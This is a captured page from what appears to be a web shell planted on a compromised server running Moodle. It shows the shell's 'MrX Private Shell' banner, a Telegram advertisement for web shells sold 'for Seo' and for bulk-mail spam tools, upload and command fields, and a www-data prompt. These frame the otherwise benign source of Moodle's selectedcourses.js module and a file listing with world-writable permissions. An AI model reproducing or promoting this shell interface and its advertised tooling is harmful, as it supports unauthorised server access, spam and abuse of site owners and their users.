__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.

/**
 * Selected courses.
 *
 * @module     tool_dataprivacy/selectedcourses
 * @copyright  2021 The Open University
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      Moodle 4.3
 */

import Ajax from 'core/ajax';
import Notification from 'core/notification';
import ModalSaveCancel from 'core/modal_save_cancel';
import ModalEvents from 'core/modal_events';
import Fragment from 'core/fragment';
import {prefetchStrings} from 'core/prefetch';
import {getString} from 'core/str';

prefetchStrings('tool_dataprivacy', [
    'selectcourses',
    'approverequest',
    'errornoselectedcourse',
]);

/**
 * Selected Courses popup modal.
 *
 */
export default class SelectedCourses {
    /**
     * @var {String} contextId Context ID to load the fragment.
     * @private
     */
    contextId = 0;

    /**
     * @var {String} requestId ID of data export request.
     * @private
     */
    requestId = 0;

    /**
     * Constructor
     *
     * @param {String} contextId Context ID to load the fragment.
     * @param {String} requestId ID of data export request.
     */
    constructor(contextId, requestId) {
        this.contextId = contextId;
        this.requestId = requestId;
        // Now create the modal.
        ModalSaveCancel.create({
            title: getString('selectcourses', 'tool_dataprivacy'),
            body: this.getBody({requestid: requestId}),
            large: true,
            removeOnClose: true,
            buttons: {
                save: getString('approverequest', 'tool_dataprivacy'),
            },
        }).then((modal) => {
            this.modal = modal;

            return modal;
        }).then((modal) => {
            // We catch the modal save event, and use it to submit the form inside the modal.
            // Triggering a form submission will give JS validation scripts a chance to check for errors.
            modal.getRoot().on(ModalEvents.save, this.submitForm.bind(this));

            // We also catch the form submit event and use it to submit the form with ajax.
            modal.getRoot().on('submit', 'form', this.submitFormAjax.bind(this));
            modal.show();
            return modal;
        }).catch(Notification.exception);
    }

    /**
     * Get body of modal.
     *
     * @method getBody
     * @param {Object} formdata
     * @private
     * @return {Promise}
     */
    getBody(formdata) {
        const params = formdata ? {jsonformdata: JSON.stringify(formdata)} : null;

        // Get the content of the modal.
        return Fragment.loadFragment('tool_dataprivacy', 'selectcourses_form', this.contextId, params);
    }

    /**
     * This triggers a form submission, so that any mform elements can do final tricks before the form submission is processed.
     *
     * @method submitForm
     * @param {Event} e Form submission event.
     * @private
     */
    submitForm(e) {
        e.preventDefault();
        this.modal.getRoot().find('form').submit();
    }

    /**
     * Submit select courses form using ajax.
     *
     * @method submitFormAjax
     * @private
     * @param {Event} e Form submission event.
     */
    submitFormAjax(e) {
        e.preventDefault();

        // Convert all the form elements values to a serialised string.
        let formData = this.modal.getRoot().find('form').serialize();

        if (formData.indexOf('coursecontextids') === -1) {
            const customSelect = this.modal.getRoot().find('.custom-select');
            const invalidText = this.modal.getRoot().find('.invalid-feedback');
            customSelect.addClass('is-invalid');
            invalidText.attr('style', 'display: block');
            getString('errornoselectedcourse', 'tool_dataprivacy').then(value => {
                invalidText.empty().append(value);
                return;
            }).catch(Notification.exception);
            return;
        }

        Ajax.call([{
            methodname: 'tool_dataprivacy_submit_selected_courses_form',
            args: {requestid: this.requestId, jsonformdata: JSON.stringify(formData)},
        }])[0]
        .then((data) => {
            if (data.warnings.length > 0) {
                this.modal.setBody(this.getBody(formData));
            } else {
                this.modal.destroy();
                document.location.reload();
            }
            return data;
        })
        .catch((error) => Notification.exception(error));
    }
}

Filemanager

Name Type Size Permission Actions
add_category.js File 5.88 KB 0777
add_purpose.js File 5.82 KB 0777
categoriesactions.js File 3.42 KB 0777
contactdpo.js File 2.29 KB 0777
data_deletion.js File 4.47 KB 0777
data_registry.js File 11.87 KB 0777
data_request_modal.js File 3.2 KB 0777
defaultsactions.js File 11.11 KB 0777
effective_retention_period.js File 2.73 KB 0777
events.js File 1.24 KB 0777
expand_contract.js File 3.97 KB 0777
form-user-selector.js File 2.37 KB 0777
myrequestactions.js File 2.58 KB 0777
purposesactions.js File 4.21 KB 0777
request_filter.js File 2.65 KB 0777
requestactions.js File 14.28 KB 0777
selectedcourses.js File 5.02 KB 0777
Filemanager